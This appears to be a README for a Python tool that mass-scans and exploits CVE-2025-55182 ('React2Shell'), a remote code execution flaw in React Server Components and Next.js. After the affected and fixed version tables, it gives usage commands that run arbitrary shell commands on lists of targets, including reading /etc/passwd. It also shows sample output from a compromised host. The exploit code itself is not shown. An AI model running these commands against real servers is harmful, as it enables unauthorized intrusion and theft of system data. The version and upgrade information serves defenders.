
CVE-2025-55182용 자동 스캐너: React Server Components 및 Next.js의 심각한 RCE 취약점
CVE-2025-55182(React2Shell) 원격 코드 실행 취약점을 위한 대량 탐지 및 검증 도구입니다.
⚠️ CVSS 10.0 심각한 취약점 | React Server Components 및 Next.js 15.x/16.x 버전에 영향 | 승인된 보안 테스트에만 사용
CVE-2025-55182("React2Shell"라고도 함)은 CVSS 10.0 만점 심각도의 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 React Server Components(RSC)의 react-server 패키지가 RSC "Flight" 프로토콜을 처리할 때 발생하는 안전하지 않은 역직렬화 문제에서 비롯됩니다. 공격자는 특수하게 조작된 HTTP 요청을 보내 취약한 서버에서 임의 코드를 실행할 수 있습니다.
Next.js가 RSC "Flight" 프로토콜을 사용하기 때문에 create-next-app으로 생성된 기본 구성 애플리케이션도 개발자가 추가 코드를 작성하지 않아도 악용될 수 있습니다. 2025년 12월 5일부터 이 취약점이 활발히 악용되는 것이 관찰되었습니다.
영향을 받는 React Server Components 버전:
| 패키지명 | 영향을 받는 버전 |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
영향을 받는 Next.js 버전(App Router 사용):
| 주 버전 | 영향을 받는 버전 범위 | 수정 버전 |
|---|---|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
영향을 받을 수 있는 기타 RSC 프레임워크/도구:
⚠️ 중요: 이 취약점에는 알려진 임시 완화 조치가 없으며, 보안 버전으로 업그레이드하는 것이 유일한 해결 방법입니다.
권장 업그레이드 버전:
공식 제공되는 fix-react2shell-next npm 패키지를 사용하여 영향을 받는 Next.js 애플리케이션 업데이트를 도울 수 있습니다.
pip install requests
# 批量扫描 (从urls.txt读取目标)
python CVE-2025-55182.py -f urls.txt
# 单目标测试
python CVE-2025-55182.py -u http://192.168.1.100:3000
# 执行 whoami 命令
python CVE-2025-55182.py -f urls.txt -c "whoami"
# 执行 hostname 命令
python CVE-2025-55182.py -u http://target.com -c "hostname"
# 读取文件
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# 指定线程数和超时时间
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# 自定义输出文件
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# 静默模式 (只输出漏洞URL)
python CVE-2025-55182.py -f urls.txt -q
| 매개변수 | 설명 | 기본값 |
|---|---|---|
-f, --file | URL 목록 파일 | urls.txt |
-u, --url | 단일 대상 URL | - |
-t, --threads | 동시 스레드 수 | 20 |
--timeout | 요청 제한 시간(초) | 10 |
-o, --output | 출력 CSV 파일 | results.csv |
-c, --command | 실행할 명령 | id |
-q, --quiet | 조용한 모드 | false |
한 줄에 하나의 URL, 예:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
스캔 결과는 CSV 형식으로 저장되며 다음 필드를 포함합니다:
url - 대상 URLstatus - HTTP 상태 코드vulnerable - 취약한지 여부output - 명령 실행 출력error - 오류 정보이 도구는 승인된 보안 테스트에만 사용하십시오. 불법적인 용도로 사용하지 마십시오. 사용자는 관련 책임을 스스로 부담해야 합니다.